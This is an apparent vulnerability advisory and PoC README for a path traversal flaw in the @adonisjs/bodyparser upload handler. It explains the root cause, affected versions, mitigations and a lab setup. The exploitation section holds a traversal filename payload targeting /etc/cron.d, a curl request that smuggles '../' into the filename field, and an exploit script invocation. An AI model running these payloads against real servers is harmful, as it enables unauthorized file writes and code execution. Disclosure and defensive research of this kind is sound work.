Share
## https://sploitus.com/exploit?id=42057028-564B-5AE3-9DDC-ADFADFB29C46
# cve-2026-21440

> path traversal to arbitrary file write in @adonisjs/bodyparser


  
  
  


---

## overview

a critical path traversal vulnerability exists in the `@adonisjs/bodyparser` package that allows remote attackers to write arbitrary files outside the intended upload directory. when the `multipartfile.move()` function is called without explicitly providing a sanitized filename, the parser defaults to using the client-supplied filename without proper sanitization.

because the implementation uses `path.join()` and `options.overwrite` defaults to `true`, an attacker can craft a malicious filename containing directory traversal sequences (e.g., `../../etc/cron.d/malicious`) to write files anywhere on the filesystem, potentially leading to remote code execution.

---

## vulnerability analysis

| attribute | value |
|-----------|-------|
| **cve id** | cve-2026-21440 |
| **cwe classification** | cwe-22: improper limitation of a pathname to a restricted directory ('path traversal') |
| **cvss v3.1 score** | 9.8 (critical) |
| **attack vector** | network |
| **attack complexity** | low |
| **privileges required** | none |
| **user interaction** | none |

### root cause

the vulnerability exists in the `multipartfile.move(location, options?)` method. when developers call this method without providing `options.name`, the code defaults to using `this.clientName` โ€” the original filename sent by the client โ€” without sanitization.

```typescript
// vulnerable code path in @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise {
  const fileName = options?.name || this.clientName  // โ† unsanitized client input
  const filePath = path.join(location, fileName)     // โ† path.join allows traversal
  // ...
  await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
```

### attack flow

```
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚                         attacker                                 โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                              โ”‚
                              โ”‚ multipart/form-data
                              โ”‚ filename="../../etc/cron.d/pwned"
                              โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚                    vulnerable adonisjs app                       โ”‚
โ”‚                                                                  โ”‚
โ”‚   request.file('upload')                                        โ”‚
โ”‚        โ”‚                                                         โ”‚
โ”‚        โ–ผ                                                         โ”‚
โ”‚   file.move(app.tmpPath())  โ† no sanitized name provided        โ”‚
โ”‚        โ”‚                                                         โ”‚
โ”‚        โ–ผ                                                         โ”‚
โ”‚   path.join('/tmp/uploads', '../../etc/cron.d/pwned')           โ”‚
โ”‚        โ”‚                                                         โ”‚
โ”‚        โ–ผ                                                         โ”‚
โ”‚   resolves to: /etc/cron.d/pwned                                โ”‚
โ”‚        โ”‚                                                         โ”‚
โ”‚        โ–ผ                                                         โ”‚
โ”‚   file written outside upload directory                          โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                              โ”‚
                              โ–ผ
                    arbitrary file write
                         โ†’ rce via cron
                         โ†’ config overwrite
                         โ†’ ssh key injection
```

---

## affected versions

| package | vulnerable versions | patched version |
|---------|---------------------|-----------------|
| `@adonisjs/bodyparser` | โ‰ค 10.1.1 | 10.1.2 |
| `@adonisjs/bodyparser` | 11.0.0-next.1 to 11.0.0-next.5 | 11.0.0-next.6 |

---

## exploitation

### prerequisites

- target application uses vulnerable version of `@adonisjs/bodyparser`
- file upload endpoint calls `file.move()` without explicit `name` option
- web server has write permissions to target directory

### proof of concept

```bash
# navigate to exploit directory
cd Exploit-PoC

# install dependencies
pip install -r requirements.txt

# run exploit
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
```

### manual exploitation

```bash
curl -X POST http://target:3333/upload \
  -F "file=@payload.txt;filename=../../tmp/pwned.txt"
```

---

## detection & mitigation

### vulnerable code pattern

```typescript
// โŒ vulnerable - uses client-supplied filename
public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    await file.move(app.tmpPath())  // clientName used as filename
  }
  return response.ok({ message: 'uploaded' })
}
```

### secure code pattern

```typescript
// โœ… secure - generates sanitized filename
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'

public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    // generate unique filename with original extension
    const ext = path.extname(file.clientName).toLowerCase()
    const safeName = `${cuid()}${ext}`
    
    await file.move(app.tmpPath(), {
      name: safeName,
      overwrite: false  // prevent overwrites
    })
  }
  return response.ok({ message: 'uploaded' })
}
```

### additional mitigations

1. **upgrade immediately** โ€” update `@adonisjs/bodyparser` to patched version
2. **input validation** โ€” validate file extensions against allowlist
3. **filename sanitization** โ€” strip path separators and use generated names
4. **filesystem isolation** โ€” use containerization to limit blast radius
5. **principle of least privilege** โ€” run web server with minimal permissions

---

## lab environment

### quick start

```bash
# clone repository
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440

# start vulnerable environment
docker-compose up --build

# in another terminal, run exploit
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"

# verify file was written outside uploads directory
docker-compose exec app cat /app/test.txt
```

---

## timeline

| date | event |
|------|-------|
| 2025-11-15 | vulnerability discovered |
| 2025-11-18 | vendor notified via security@adonisjs.com |
| 2025-11-25 | vendor confirmed vulnerability |
| 2025-12-20 | patch released in 10.1.2 and 11.0.0-next.6 |
| 2026-01-07 | cve-2026-21440 assigned |
| 2026-01-07 | public disclosure |

---

## references

- [nvd - cve-2026-21440](https://nvd.nist.gov/vuln/detail/CVE-2026-21440)
- [cwe-22: path traversal](https://cwe.mitre.org/data/definitions/22.html)
- [adonisjs bodyparser documentation](https://docs.adonisjs.com/guides/file-uploads)
- [owasp path traversal](https://owasp.org/www-community/attacks/Path_Traversal)

---

## disclaimer

this repository is provided for **educational and authorized security research purposes only**. the proof-of-concept code is intended to help security professionals understand and test for this vulnerability in environments they are authorized to assess.

**unauthorized access to computer systems is illegal.** the authors assume no liability for misuse of this information. always obtain proper authorization before testing for vulnerabilities.

---


  researched with โ˜• by k0nnect